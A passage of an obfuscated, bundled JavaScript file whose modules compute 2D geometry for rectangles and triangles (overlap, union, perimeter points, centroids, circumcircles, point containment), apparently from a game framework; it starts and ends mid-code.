_0x4f3658; }; }, 0x1680b: _0x44bbcd => { _0x44bbcd['exports'] = function (_0x2dc832, _0x411816, _0x27ea75) { var _0xb61bc7 = Math['min'](_0x2dc832['x'], _0x411816), _0x29a789 = Math['max'](_0x2dc832['right'], _0x411816); _0x2dc832['x'] = _0xb61bc7, _0x2dc832['width'] = _0x29a789 - _0xb61bc7; var _0x5086ee = Math['min'](_0x2dc832['y'], _0x27ea75), _0x829400 = Math['max'](_0x2dc832['bottom'], _0x27ea75); return _0x2dc832['y'] = _0x5086ee, _0x2dc832['height'] = _0x829400 - _0x5086ee, _0x2dc832; }; }, 0xa7e5: _0x54525f => { _0x54525f['exports'] = function (_0x469964, _0xad196a, _0x1c625f) { return _0x469964['x'] += _0xad196a, _0x469964['y'] += _0x1c625f, _0x469964; }; }, 0xb73b: _0x1eacdf => { _0x1eacdf['exports'] = function (_0x17ade4, _0x3d729f) { return _0x17ade4['x'] += _0x3d729f['x'], _0x17ade4['y'] += _0x3d729f['y'], _0x17ade4; }; }, 0xeb0a: _0x2721c9 => { _0x2721c9['exports'] = function (_0x31408f, _0x51a0f7) { return _0x31408f['x'] < _0x51a0f7['right'] && _0x31408f['right'] > _0x51a0f7['x'] && _0x31408f['y'] < _0x51a0f7['bottom'] && _0x31408f['bottom'] > _0x51a0f7['y']; }; }, 0x32db: _0x264e18 => { _0x264e18['exports'] = function (_0x31a982) { return 0x2 * (_0x31a982['width'] + _0x31a982['height']); }; }, 0x14c8d: (_0x3e8b61, _0x2218e3, _0xc9f234) => { var _0x4d4402 = _0xc9f234(0x85d), _0xb72b85 = _0xc9f234(0x9a52); _0x3e8b61['exports'] = function (_0x579c42, _0x34ee21, _0xe2dd63) { void 0x0 === _0xe2dd63 && (_0xe2dd63 = new _0x4d4402()), _0x34ee21 = _0xb72b85(_0x34ee21); var _0x3b85d9 = Math['sin'](_0x34ee21), _0x4e8463 = Math['cos'](_0x34ee21), _0x297ade = _0x4e8463 > 0x0 ? _0x579c42['width'] / 0x2 : _0x579c42['width'] / -0x2, _0x53d2c5 = _0x3b85d9 > 0x0 ? _0x579c42['height'] / 0x2 : _0x579c42['height'] / -0x2; return Math['abs'](_0x297ade * _0x3b85d9) < Math['abs'](_0x53d2c5 * _0x4e8463) ? _0x53d2c5 = _0x297ade * _0x3b85d9 / _0x4e8463 : _0x297ade = _0x53d2c5 * _0x4e8463 / _0x3b85d9, _0xe2dd63['x'] = _0x297ade + _0x579c42['centerX'], _0xe2dd63['y'] = _0x53d2c5 + _0x579c42['centerY'], _0xe2dd63; }; }, 0x67e5: (_0x2681a1, _0x291f8e, _0x5c0300) => { var _0x2fa898 = _0x5c0300(0x85d); _0x2681a1['exports'] = function (_0x23cde4, _0x33a72f) { return void 0x0 === _0x33a72f && (_0x33a72f = new _0x2fa898()), _0x33a72f['x'] = _0x23cde4['x'] + Math['random']() * _0x23cde4['width'], _0x33a72f['y'] = _0x23cde4['y'] + Math['random']() * _0x23cde4['height'], _0x33a72f; }; }, 0x151c6: (_0x44c649, _0x1c6a74, _0x469b07) => { var _0xd22fae = _0x469b07(0x7900), _0x393db4 = _0x469b07(0x11281), _0x457fe0 = _0x469b07(0x85d); _0x44c649['exports'] = function (_0x3d5943, _0x5387d9, _0x227c89) { if (void 0x0 === _0x227c89 && (_0x227c89 = new _0x457fe0()), _0x393db4(_0x3d5943, _0x5387d9)) switch (_0xd22fae(0x0, 0x3)) { case 0x0: _0x227c89['x'] = _0x3d5943['x'] + Math['random']() * (_0x5387d9['right'] - _0x3d5943['x']), _0x227c89['y'] = _0x3d5943['y'] + Math['random']() * (_0x5387d9['top'] - _0x3d5943['y']); break; case 0x1: _0x227c89['x'] = _0x5387d9['x'] + Math['random']() * (_0x3d5943['right'] - _0x5387d9['x']), _0x227c89['y'] = _0x5387d9['bottom'] + Math['random']() * (_0x3d5943['bottom'] - _0x5387d9['bottom']); break; case 0x2: _0x227c89['x'] = _0x3d5943['x'] + Math['random']() * (_0x5387d9['x'] - _0x3d5943['x']), _0x227c89['y'] = _0x5387d9['y'] + Math['random']() * (_0x3d5943['bottom'] - _0x5387d9['y']); break; case 0x3: _0x227c89['x'] = _0x5387d9['right'] + Math['random']() * (_0x3d5943['right'] - _0x5387d9['right']), _0x227c89['y'] = _0x3d5943['y'] + Math['random']() * (_0x5387d9['bottom'] - _0x3d5943['y']); }return _0x227c89; }; }, 0x15721: (_0xb3aae4, _0x19712f, _0x2a4c6b) => { var _0x3f4891 = _0x2a4c6b(0x145db), _0xc2af4d = _0x2a4c6b(0x91b7), _0x107808 = _0x2a4c6b(0x514c), _0x74a6a6 = _0x2a4c6b(0x8803), _0x19aa5a = _0x2a4c6b(0x5ce1), _0x565ad0 = _0x2a4c6b(0x59f7), _0x3456f6 = _0x2a4c6b(0x67e5), _0x3a9a14 = new _0x3f4891({ 'initialize': function (_0x3cc66c, _0xf5324a, _0x5354a4, _0x4e880c) { void 0x0 === _0x3cc66c && (_0x3cc66c = 0x0), void 0x0 === _0xf5324a && (_0xf5324a = 0x0), void 0x0 === _0x5354a4 && (_0x5354a4 = 0x0), void 0x0 === _0x4e880c && (_0x4e880c = 0x0), this['type'] = _0x19aa5a['RECTANGLE'], this['x'] = _0x3cc66c, this['y'] = _0xf5324a, this['width'] = _0x5354a4, this['height'] = _0x4e880c; }, 'contains': function (_0x29c487, _0x585cc7) { return _0xc2af4d(this, _0x29c487, _0x585cc7); }, 'getPoint': function (_0x4d138b, _0x18a0e6) { return _0x107808(this, _0x4d138b, _0x18a0e6); }, 'getPoints': function (_0x54d74d, _0xf4844c, _0x5a872d) { return _0x74a6a6(this, _0x54d74d, _0xf4844c, _0x5a872d); }, 'getRandomPoint': function (_0x557c8b) { return _0x3456f6(this, _0x557c8b); }, 'setTo': function (_0x2b43f2, _0x1cc956, _0x210ff1, _0x1ac1d2) { return this['x'] = _0x2b43f2, this['y'] = _0x1cc956, this['width'] = _0x210ff1, this['height'] = _0x1ac1d2, this; }, 'setEmpty': function () { return this['setTo'](0x0, 0x0, 0x0, 0x0); }, 'setPosition': function (_0x83f6e8, _0x9f5df0) { return void 0x0 === _0x9f5df0 && (_0x9f5df0 = _0x83f6e8), this['x'] = _0x83f6e8, this['y'] = _0x9f5df0, this; }, 'setSize': function (_0x14093c, _0x2b9b6b) { return void 0x0 === _0x2b9b6b && (_0x2b9b6b = _0x14093c), this['width'] = _0x14093c, this['height'] = _0x2b9b6b, this; }, 'isEmpty': function () { return this['width'] <= 0x0 || this['height'] <= 0x0; }, 'getLineA': function (_0x11225a) { return void 0x0 === _0x11225a && (_0x11225a = new _0x565ad0()), _0x11225a['setTo'](this['x'], this['y'], this['right'], this['y']), _0x11225a; }, 'getLineB': function (_0x247e5b) { return void 0x0 === _0x247e5b && (_0x247e5b = new _0x565ad0()), _0x247e5b['setTo'](this['right'], this['y'], this['right'], this['bottom']), _0x247e5b; }, 'getLineC': function (_0x1c525e) { return void 0x0 === _0x1c525e && (_0x1c525e = new _0x565ad0()), _0x1c525e['setTo'](this['right'], this['bottom'], this['x'], this['bottom']), _0x1c525e; }, 'getLineD': function (_0x3fe629) { return void 0x0 === _0x3fe629 && (_0x3fe629 = new _0x565ad0()), _0x3fe629['setTo'](this['x'], this['bottom'], this['x'], this['y']), _0x3fe629; }, 'left': { 'get': function () { return this['x']; }, 'set': function (_0xbe2cdc) { _0xbe2cdc >= this['right'] ? this['width'] = 0x0 : this['width'] = this['right'] - _0xbe2cdc, this['x'] = _0xbe2cdc; } }, 'right': { 'get': function () { return this['x'] + this['width']; }, 'set': function (_0x2a9982) { _0x2a9982 <= this['x'] ? this['width'] = 0x0 : this['width'] = _0x2a9982 - this['x']; } }, 'top': { 'get': function () { return this['y']; }, 'set': function (_0x39befe) { _0x39befe >= this['bottom'] ? this['height'] = 0x0 : this['height'] = this['bottom'] - _0x39befe, this['y'] = _0x39befe; } }, 'bottom': { 'get': function () { return this['y'] + this['height']; }, 'set': function (_0x46fd82) { _0x46fd82 <= this['y'] ? this['height'] = 0x0 : this['height'] = _0x46fd82 - this['y']; } }, 'centerX': { 'get': function () { return this['x'] + this['width'] / 0x2; }, 'set': function (_0x520408) { this['x'] = _0x520408 - this['width'] / 0x2; } }, 'centerY': { 'get': function () { return this['y'] + this['height'] / 0x2; }, 'set': function (_0x1e3925) { this['y'] = _0x1e3925 - this['height'] / 0x2; } } }); _0xb3aae4['exports'] = _0x3a9a14; }, 0x1727d: _0x2dd729 => { _0x2dd729['exports'] = function (_0x38c8ad, _0x59c237) { return _0x38c8ad['width'] === _0x59c237['width'] && _0x38c8ad['height'] === _0x59c237['height']; }; }, 0x7bf2: _0x24a2fa => { _0x24a2fa['exports'] = function (_0x35b9c3, _0x22ea44, _0x5000e6) { return void 0x0 === _0x5000e6 && (_0x5000e6 = _0x22ea44), _0x35b9c3['width'] *= _0x22ea44, _0x35b9c3['height'] *= _0x5000e6, _0x35b9c3; }; }, 0x9023: (_0x441f6a, _0x349098, _0x3f7d65) => { var _0x4345ca = _0x3f7d65(0x15721); _0x441f6a['exports'] = function (_0x37371a, _0x1a5636, _0x4c0299) { void 0x0 === _0x4c0299 && (_0x4c0299 = new _0x4345ca()); var _0x42d196 = Math['min'](_0x37371a['x'], _0x1a5636['x']), _0x31f144 = Math['min'](_0x37371a['y'], _0x1a5636['y']), _0x1bff03 = Math['max'](_0x37371a['right'], _0x1a5636['right']) - _0x42d196, _0x4cbac5 = Math['max'](_0x37371a['bottom'], _0x1a5636['bottom']) - _0x31f144; return _0x4c0299['setTo'](_0x42d196, _0x31f144, _0x1bff03, _0x4cbac5); }; }, 0x16c30: (_0x133509, _0x12ca54, _0x392a6f) => { var _0x35a431 = _0x392a6f(0x15721); _0x35a431['Area'] = _0x392a6f(0xf310), _0x35a431['Ceil'] = _0x392a6f(0x18137), _0x35a431['CeilAll'] = _0x392a6f(0x7bc8), _0x35a431['CenterOn'] = _0x392a6f(0x107ae), _0x35a431['Clone'] = _0x392a6f(0xfe3d), _0x35a431['Contains'] = _0x392a6f(0x91b7), _0x35a431['ContainsPoint'] = _0x392a6f(0x17929), _0x35a431['ContainsRect'] = _0x392a6f(0x11281), _0x35a431['CopyFrom'] = _0x392a6f(0xa9c3), _0x35a431['Decompose'] = _0x392a6f(0x12eb5), _0x35a431['Equals'] = _0x392a6f(0x2403), _0x35a431['FitInside'] = _0x392a6f(0xd1f7), _0x35a431['FitOutside'] = _0x392a6f(0x3ed8), _0x35a431['Floor'] = _0x392a6f(0x13b86), _0x35a431['FloorAll'] = _0x392a6f(0x14793), _0x35a431['FromPoints'] = _0x392a6f(0x4b11), _0x35a431['FromXY'] = _0x392a6f(0x2505), _0x35a431['GetAspectRatio'] = _0x392a6f(0x2039), _0x35a431['GetCenter'] = _0x392a6f(0x6a1d), _0x35a431['GetPoint'] = _0x392a6f(0x514c), _0x35a431['GetPoints'] = _0x392a6f(0x8803), _0x35a431['GetSize'] = _0x392a6f(0xc871), _0x35a431['Inflate'] = _0x392a6f(0x1504b), _0x35a431['Intersection'] = _0x392a6f(0xd2bf), _0x35a431['MarchingAnts'] = _0x392a6f(0x3939), _0x35a431['MergePoints'] = _0x392a6f(0x833b), _0x35a431['MergeRect'] = _0x392a6f(0x4e6a), _0x35a431['MergeXY'] = _0x392a6f(0x1680b), _0x35a431['Offset'] = _0x392a6f(0xa7e5), _0x35a431['OffsetPoint'] = _0x392a6f(0xb73b), _0x35a431['Overlaps'] = _0x392a6f(0xeb0a), _0x35a431['Perimeter'] = _0x392a6f(0x32db), _0x35a431['PerimeterPoint'] = _0x392a6f(0x14c8d), _0x35a431['Random'] = _0x392a6f(0x67e5), _0x35a431['RandomOutside'] = _0x392a6f(0x151c6), _0x35a431['SameDimensions'] = _0x392a6f(0x1727d), _0x35a431['Scale'] = _0x392a6f(0x7bf2), _0x35a431['Union'] = _0x392a6f(0x9023), _0x133509['exports'] = _0x35a431; }, 0xa2ba: _0x2574cd => { _0x2574cd['exports'] = function (_0x20b2d9) { var _0xbc9960 = _0x20b2d9['x1'], _0x5443b3 = _0x20b2d9['y1'], _0x286087 = _0x20b2d9['x2'], _0x4bcd45 = _0x20b2d9['y2'], _0x57cbdf = _0x20b2d9['x3'], _0x302763 = _0x20b2d9['y3']; return Math['abs'](((_0x57cbdf - _0xbc9960) * (_0x4bcd45 - _0x5443b3) - (_0x286087 - _0xbc9960) * (_0x302763 - _0x5443b3)) / 0x2); }; }, 0x9928: (_0x15550d, _0x304fee, _0x58b4bc) => { var _0x2c29a5 = _0x58b4bc(0x4063); _0x15550d['exports'] = function (_0x2f1d09, _0x5dc01a, _0x4449bf) { var _0x34a3a4 = _0x4449bf * (Math['sqrt'](0x3) / 0x2); return new _0x2c29a5(_0x2f1d09, _0x5dc01a, _0x2f1d09 + _0x4449bf / 0x2, _0x5dc01a + _0x34a3a4, _0x2f1d09 - _0x4449bf / 0x2, _0x5dc01a + _0x34a3a4); }; }, 0x9a79: (_0x3ae7f0, _0x2d4250, _0x39857b) => { var _0x3343a3 = _0x39857b(0x1725b), _0x4f6dd7 = _0x39857b(0x4063); _0x3ae7f0['exports'] = function (_0x4ac18c, _0x37a067, _0x11b9af, _0x13f396, _0x5800f8) { void 0x0 === _0x37a067 && (_0x37a067 = null), void 0x0 === _0x11b9af && (_0x11b9af = 0x1), void 0x0 === _0x13f396 && (_0x13f396 = 0x1), void 0x0 === _0x5800f8 && (_0x5800f8 = []); for (var _0x133158, _0x5cf1fe, _0x285fbf, _0x4c4dc1, _0x2f9fd5, _0x28b4fa, _0x39bf3c, _0x1a55ef, _0x2388de, _0x64c0a4 = _0x3343a3(_0x4ac18c, _0x37a067), _0x466d98 = 0x0; _0x466d98 < _0x64c0a4['length']; _0x466d98 += 0x3)_0x133158 = _0x64c0a4[_0x466d98], _0x5cf1fe = _0x64c0a4[_0x466d98 + 0x1], _0x285fbf = _0x64c0a4[_0x466d98 + 0x2], _0x4c4dc1 = _0x4ac18c[0x2 * _0x133158] * _0x11b9af, _0x2f9fd5 = _0x4ac18c[0x2 * _0x133158 + 0x1] * _0x13f396, _0x28b4fa = _0x4ac18c[0x2 * _0x5cf1fe] * _0x11b9af, _0x39bf3c = _0x4ac18c[0x2 * _0x5cf1fe + 0x1] * _0x13f396, _0x1a55ef = _0x4ac18c[0x2 * _0x285fbf] * _0x11b9af, _0x2388de = _0x4ac18c[0x2 * _0x285fbf + 0x1] * _0x13f396, _0x5800f8['push'](new _0x4f6dd7(_0x4c4dc1, _0x2f9fd5, _0x28b4fa, _0x39bf3c, _0x1a55ef, _0x2388de)); return _0x5800f8; }; }, 0x160bd: (_0x16e9d2, _0x4d305a, _0x278c4c) => { var _0x3f0a0e = _0x278c4c(0x4063); _0x16e9d2['exports'] = function (_0x37adb8, _0x48c893, _0x559551, _0x2cd781) { return void 0x0 === _0x2cd781 && (_0x2cd781 = _0x559551), new _0x3f0a0e(_0x37adb8, _0x48c893, _0x37adb8, _0x48c893 - _0x2cd781, _0x37adb8 + _0x559551, _0x48c893); }; }, 0x5c9b: (_0x2ce4c2, _0x4d1f99, _0x5d8af2) => { var _0x20c13d = _0x5d8af2(0x17cf3), _0x34ae23 = _0x5d8af2(0x3510); _0x2ce4c2['exports'] = function (_0x15f7e9, _0x41fd89, _0x80c882, _0x41888d) { void 0x0 === _0x41888d && (_0x41888d = _0x20c13d); var _0xdf4b4c = _0x41888d(_0x15f7e9), _0xec57d5 = _0x41fd89 - _0xdf4b4c['x'], _0xb4f762 = _0x80c882 - _0xdf4b4c['y']; return _0x34ae23(_0x15f7e9, _0xec57d5, _0xb4f762); }; }, 0x17cf3: (_0x3bc5e9, _0x121f6f, _0xa3b8ce) => { var _0x29713b = _0xa3b8ce(0x85d); _0x3bc5e9['exports'] = function (_0x1b625d, _0x34206e) { return void 0x0 === _0x34206e && (_0x34206e = new _0x29713b()), _0x34206e['x'] = (_0x1b625d['x1'] + _0x1b625d['x2'] + _0x1b625d['x3']) / 0x3, _0x34206e['y'] = (_0x1b625d['y1'] + _0x1b625d['y2'] + _0x1b625d['y3']) / 0x3, _0x34206e; }; }, 0x6177: (_0x3a6749, _0x5e614c, _0x596a60) => { var _0xab786 = _0x596a60(0x65f3); function _0x565a51(_0x336f6a, _0x2d0735, _0x1eb19d, _0x11d2f6) { return _0x336f6a * _0x11d2f6 - _0x2d0735 * _0x1eb19d; } _0x3a6749['exports'] = function (_0x1b580f, _0x50fe04) { void 0x0 === _0x50fe04 && (_0x50fe04 = new _0xab786()); var _0x599b2e = _0x1b580f['x3'], _0x361ce1 = _0x1b580f['y3'], _0x13b887 = _0x1b580f['x1'] - _0x599b2e, _0x58f8cb = _0x1b580f['y1'] - _0x361ce1, _0x38a614 = _0x1b580f['x2'] - _0x599b2e, _0x8ee7ac = _0x1b580f['y2'] - _0x361ce1, _0x343a27 = 0x2 * _0x565a51(_0x13b887, _0x58f8cb, _0x38a614, _0x8ee7ac), _0x289ab1 = _0x565a51(_0x58f8cb, _0x13b887 * _0x13b887 + _0x58f8cb * _0x58f8cb, _0x8ee7ac, _0x38a614 * _0x38a614 + _0x8ee7ac * _0x8ee7ac), _0x5a918a = _0x565a51(_0x13b887, _0x13b887 * _0x13b887 + _0x58f8cb * _0x58f8cb, _0x38a614, _0x38a614 * _0x38a614 + _0x8ee7ac * _0x8ee7ac); return _0x50fe04['x'] = _0x599b2e - _0x289ab1 / _0x343a27, _0x50fe04['y'] = _0x361ce1 + _0x5a918a / _0x343a27, _0x50fe04; }; }, 0x14e6e: (_0x3e637c, _0x5da275, _0xbc8f49) => { var _0x5e587f = _0xbc8f49(0x178f7); _0x3e637c['exports'] = function (_0x1db989, _0x3cd213) { void 0x0 === _0x3cd213 && (_0x3cd213 = new _0x5e587f()); var _0x4d649d, _0x52c47d, _0x5603fe = _0x1db989['x1'], _0x3274ec = _0x1db989['y1'], _0x4d5f1b = _0x1db989['x2'], _0x2b51e2 = _0x1db989['y2'], _0x5e3654 = _0x1db989['x3'], _0x54436c = _0x1db989['y3'], _0xd29d0 = _0x4d5f1b - _0x5603fe, _0xcce261 = _0x2b51e2 - _0x3274ec, _0x269635 = _0x5e3654 - _0x5603fe, _0x98337d = _0x54436c - _0x3274ec, _0x210253 = _0xd29d0 * (_0x5603fe + _0x4d5f1b) + _0xcce261 * (_0x3274ec + _0x2b51e2), _0x3301ec = _0x269635 * (_0x5603fe + _0x5e3654) + _0x98337d * (_0x3274ec + _0x54436c), _0x1f47dc = 0x2 * (_0xd29d0 * (_0x54436c - _0x2b51e2) - _0xcce261 * (_0x5e3654 - _0x4d5f1b)); if (Math['abs'](_0x1f47dc) < 0.000001) { var _0x697a52 = Math['min'](_0x5603fe, _0x4d5f1b, _0x5e3654), _0x396e35 = Math['min'](_0x3274ec, _0x2b51e2, _0x54436c); _0x4d649d = 0.5 * (Math['max'](_0x5603fe, _0x4d5f1b, _0x5e3654) - _0x697a52), _0x52c47d = 0.5 * (Math['max'](_0x3274ec, _0x2b51e2, _0x54436c) - _0x396e35), _0x3cd213['x'] = _0x697a52 + _0x4d649d, _0x3cd213['y'] = _0x396e35 + _0x52c47d, _0x3cd213['radius'] = Math['sqrt'](_0x4d649d * _0x4d649d + _0x52c47d * _0x52c47d); } else _0x3cd213['x'] = (_0x98337d * _0x210253 - _0xcce261 * _0x3301ec) / _0x1f47dc, _0x3cd213['y'] = (_0xd29d0 * _0x3301ec - _0x269635 * _0x210253) / _0x1f47dc, _0x4d649d = _0x3cd213['x'] - _0x5603fe, _0x52c47d = _0x3cd213['y'] - _0x3274ec, _0x3cd213['radius'] = Math['sqrt'](_0x4d649d * _0x4d649d + _0x52c47d * _0x52c47d); return _0x3cd213; }; }, 0x122b6: (_0x2d1d4e, _0x487314, _0x13347a) => { var _0x2c644b = _0x13347a(0x4063); _0x2d1d4e['exports'] = function (_0x171761) { return new _0x2c644b(_0x171761['x1'], _0x171761['y1'], _0x171761['x2'], _0x171761['y2'], _0x171761['x3'], _0x171761['y3']); }; }, 0x29c2: _0x21234c => { _0x21234c['exports'] = function (_0x24f043, _0x2d5a69, _0x5d72d3) { var _0x41ad32 = _0x24f043['x3'] - _0x24f043['x1'], _0x39f449 = _0x24f043['y3'] - _0x24f043['y1'], _0x4ff04b = _0x24f043['x2'] - _0x24f043['x1'], _0x4eb7b0 = _0x24f043['y2'] - _0x24f043['y1'], _0x3e83b9 = _0x2d5a69 - _0x24f043['x1'], _0x5974fc = _0x5d72d3 - _0x24f043['y1'], _0x1a2aaa = _0x41ad32 * _0x41ad32 + _0x39f449 * _0x39f449, _0x3113e7 = _0x41ad32 * _0x4ff04b + _0x39f449 * _0x4eb7b0, _0x39e2ba = _0x41ad32 * _0x3e83b9 + _0x39f449 * _0x5974fc, _0x1aa6b4 = _0x4ff04b * _0x4ff04b + _0x4eb7b0 * _0x4eb7b0, _0x34583a = _0x4ff04b * _0x3e83b9 + _0x4eb7b0 * _0x5974fc, _0x46cae = _0x1a2aaa * _0x1aa6b4 - _0x3113e7 * _0x3113e7, _0x53dea1 = 0x0 === _0x46cae ? 0x0 : 0x1 / _0x46cae, _0x28c15f = (_0x1aa6b4 * _0x39e2ba - _0x3113e7 * _0x34583a) * _0x53dea1, _0x419cce = (_0x1a2aaa * _0x34583a - _0x3113e7 * _0x39e2ba) * _0x53dea1; return _0x28c15f >= 0x0 && _0x419cce >= 0x0 && _0x28c15f + _0x419cce < 0x1; }; }, 0xbe0d: _0x3ea199 => { _0x3ea199['exports'] = function (_0x3e2246, _0x3acd92, _0x57fcc4, _0x33c4ec) { void 0x0 === _0x57fcc4 && (_0x57fcc4 = !0x1), void 0x0 === _0x33c4ec && (_0x33c4ec = []); for (var _0x235b1d, _0x7cf81b, _0x497c28, _0x4253fe, _0x3d9fb1, _0x3cf4c6, _0x13ac43 = _0x3e2246['x3'] - _0x3e2246['x1'], _0x4db8e2 = _0x3e2246['y3'] - _0x3e2246['y1'], _0x263407 = _0x3e2246['x2'] - _0x3e2246['x1'], _0x54ec59 = _0x3e2246['y2'] - _0x3e2246['y1'], _0x1bf72d = _0x13ac43 * _0x13ac43 + _0x4db8e2 * _0x4db8e2, _0x2da63c = _0x13ac43 * _0x263407 + _0x4db8e2 * _0x54ec59, _0x486011 = _0x263407 * _0x263407 + _0x54ec59 * _0x54ec59, _0x29314f = _0x1bf72d * _0x486011 - _0x2da63c * _0x2da63c, _0x39ed2a = 0x0 === _0x29314f ? 0x0 : 0x1 / _0x29314f, _0x2f0682 = _0x3e2246['x1'], _0x2d1995 = _0x3e2246['y1'], _0x5ddd62 = 0x0; _0x5ddd62 < _0x3acd92['length'] && (_0x7cf81b = (_0x1bf72d * (_0x3cf4c6 = _0x263407 * (_0x497c28 = _0x3acd92[_0x5ddd62]['x'] - _0x2f0682) + _0x54ec59 * (_0x4253fe = _0x3acd92[_0x5ddd62]['y'] - _0x2d1995)) - _0x2da63c * (_0x3d9fb1 = _0x13ac43 * _0x497c28 + _0x4db8e2 * _0x4253fe)) * _0x39ed2a, !((_0x235b1d = (_0x486011 * _0x3d9fb1 - _0x2da63c * _0x3cf4c6) * _0x39ed2a) >= 0x0 && _0x7cf81b >= 0x0 && _0x235b1d + _0x7cf81b < 0x1 && (_0x33c4ec['push']({ 'x': _0x3acd92[_0x5ddd62]['x'], 'y': _0x3acd92[_0x5ddd62]['y'] }), _0x57fcc4))); _0x5ddd62++); return _0x33c4ec; }; }, 0x17706: (_0xa26a44, _0x123950, _0x494b3a) => { var _0x50d9eb = _0x494b3a(0x29c2); _0xa26a44['exports'] = function (_0x168fdc, _0x295fa9) { return _0x50d9eb(_0x168fdc, _0x295fa9['x'], _0x295fa9['y']); }; }, 0x1169e: _0x4fa4ed => { _0x4fa4ed['exports'] = function (_0x3ed8c5, _0x298b66) { return _0x298b66['setTo'](_0x3ed8c5['x1'], _0x3ed8c5['y1'], _0x3ed8c5['x2'], _0x3ed8c5['y2'], _0x3ed8c5['x3'], _0x3ed8c5['y3']); }; }, 0x1180e: _0x490147 => { _0x490147['exports'] = function (_0x262c4a, _0xc7659d) { return void 0x0 === _0xc7659d && (_0xc7659d = []), _0xc7659d['push']({ 'x': _0x262c4a['x1'], 'y': _0x262c4a['y1'] }), _0xc7659d['push']({ 'x': _0x262c4a['x2'], 'y': _0x262c4a['y2'] }), _0xc7659d['push']({ 'x': _0x262c4a['x3'], 'y': _0x262c4a['y3'] }), _0xc7659d; }; }, 0x82f2: _0x40feeb => { _0x40feeb['exports'] = function (_0x50c881, _0x3c3332) { return _0x50c881['x1'] === _0x3c3332['x1'] && _0x50c881['y1'] === _0x3c3332['y1'] && _0x50c881['x2'] === _0x3c3332['x2'] && _0x50c881['y2'] === _0x3c3332['y2'] && _0x50c881['x3'] === _0x3c3332['x3'] && _0x50c881['y3'] === _0x3c3332['y3']; }; }, 0x4fd5: (_0x42e510, _0x4ef57c, _0x1ea00b) => { var _0x3e573f = _0x1ea00b(0x85d), _0x431322 = _0x1ea00b(0x88b9); _0x42e510['exports'] = function (_0x396a1a, _0x1289eb, _0x405656) { void 0x0 === _0x405656 && (_0x405656 = new _0x3e573f()); var _0x53dd0b = _0x396a1a['getLineA'](), _0x151b29 = _0x396a1a['getLineB'](), _0x504a30 = _0x396a1a['getLineC'](); if (_0x1289eb <= 0x0 || _0x1289eb >= 0x1) return _0x405656['x'] = _0x53dd0b['x1'], _0x405656['y'] = _0x53dd0b['y1'], _0x405656; var _0x2f2de9 = _0x431322(_0x53dd0b), _0x1cd069 = _0x431322(_0x151b29), _0x39072f = _0x431322(_0x504a30), _0x439881 = (_0x2f2de9 + _0x1cd069 + _0x39072f) * _0x1289eb, _0x57f1a5 = 0x0; return _0x439881 < _0x2f2de9 ? (_0x57f1a5 = _0x439881 / _0x2f2de9, _0x405656['x'] = _0x53dd0b['x1'] + (_0x53dd0b['x2'] - _0x53dd0b['x1']) * _0x57f1a5, _0x405656['y'] = _0x53dd0b['y1'] + (_0x53dd0b['y2'] - _0x53dd0b['y1']) * _0x57f1a5) : _0x439881 > _0x2f2de9 + _0x1cd069 ? (_0x57f1a5 = (_0x439881 -= _0x2f2de9 + _0x1cd069) / _0x39072f, _0x405656['x'] = _0x504a30['x1'] + (_0x504a30['x2'] - _0x504a30['x1']) * _0x57f1a5, _0x405656['y'] = _0x504a30['y1'] + (_0x504a30['y2'] - _0x504a30['y1']) * _0x57f1a5) : (_0x57f1a5 = (_0x439881 -= _0x2f2de9) / _0x1cd069, _0x405656['x'] = _0x151b29['x1'] + (_0x151b29['x2'] - _0x151b29['x1']) * _0x57f1a5, _0x405656['y'] = _0x151b29['y1'] + (_0x151b29['y2'] - _0x151b29['y1']) * _0x57f1a5), _0x405656; }; }, 0x13b20: (_0x378cda, _0x4c2a14, _0x15d46d) => { var _0x38046f = _0x15d46d(0x88b9), _0x1abef5 = _0x15d46d(0x85d); _0x378cda['exports'] = function (_0x52ee38, _0x308903, _0x208f78, _0x2ed520) { void 0x0 === _0x2ed520 && (_0x2ed520 = []); var _0x40641e = _0x52ee38['getLineA'](), _0x2ae015 = _0x52ee38['getLineB'](), _0x109f36 = _0x52ee38['getLineC'](), _0x5579aa = _0x38046f(_0x40641e), _0x17a598 = _0x38046f(_0x2ae015), _0x33c165 = _0x38046f(_0x109f36), _0x3e0449 = _0x5579aa + _0x17a598 + _0x33c165; !_0x308903 && _0x208f78 > 0x0 && (_0x308903 = _0x3e0449 / _0x208f78); for (var _0x144f13 = 0x0; _0x144f13 < _0x308903; _0x144f13++) { var _0x3ca9ab = _0x3e0449 * (_0x144f13 / _0x308903), _0x522a7e = 0x0, _0x40b8ec = new _0x1abef5(); _0x3ca9ab < _0x5579aa ? (_0x522a7e = _0x3ca9ab / _0x5579aa, _0x40b8ec['x'] = _0x40641e['x1'] + (_0x40641e['x2'] - _0x40641e['x1']) * _0x522a7e, _0x40b8ec['y'] = _0x40641e['y1'] + (_0x40641e['y2'] - _0x40641e['y1']) * _0x522a7e) : _0x3ca9ab > _0x5579aa + _0x17a598 ? (_0x522a7e = (_0x3ca9ab -= _0x5579aa + _0x17a598) / _0x33c165, _0x40b8ec['x'] = _0x109f36['x1'] + (_0x109f36['x2'] - _0x109f36['x1']) * _0x522a7e, _0x40b8ec['y'] = _0x109f36['y1'] + (_0x109f36['y2'] - _0x109f36['y1']) * _0x522a7e) : (_0x522a7e = (_0x3ca9ab -= _0x5579aa) / _0x17a598, _0x40b8ec['x'] = _0x2ae015['x1'] + (_0x2ae015['x2'] - _0x2ae015['x1']) * _0x522a7e, _0x40b8ec['y'] = _0x2ae015['y1'] + (_0x2ae015['y2'] - _0x2ae015['y1']) * _0x522a7e), _0x2ed520['push'](_0x40b8ec); } return _0x2ed520; }; }, 0x9b4d: (_0x172b77, _0x336c0c, _0x415efe) => { var _0x4f3db9 = _0x415efe(0x85d); function _0x435f3c(_0x5e6bb6, _0x2c68aa, _0x381b57, _0x114681) { var _0x5bd8b3 = _0x5e6bb6 - _0x381b57, _0x27cf0c = _0x2c68aa - _0x114681, _0x159a3f = _0x5bd8b3 * _0x5bd8b3 + _0x27cf0c * _0x27cf0c; return Math['sqrt'](_0x159a3f); } _0x172b77['exports'] = function (_0x2e5b5b, _0x2575e3) { void 0x0 === _0x2575e3 && (_0x2575e3 = new _0x4f3db9()); var _0x4863b9 = _0x2e5b5b['x1'], _0x52db6e = _0x2e5b5b['y1'], _0x51a7c7 = _0x2e5b5b['x2'], _0x5db4fb = _0x2e5b5b['y2'], _0x424b2c = _0x2e5b5b['x3'], _0x4954a1 = _0x2e5b5b['y3'], _0x2b9526 = _0x435f3c(_0x424b2c, _0x4954a1, _0x51a7c7, _0x5db4fb), _0x95e9df = _0x435f3c(_0x4863b9, _0x52db6e, _0x424b2c, 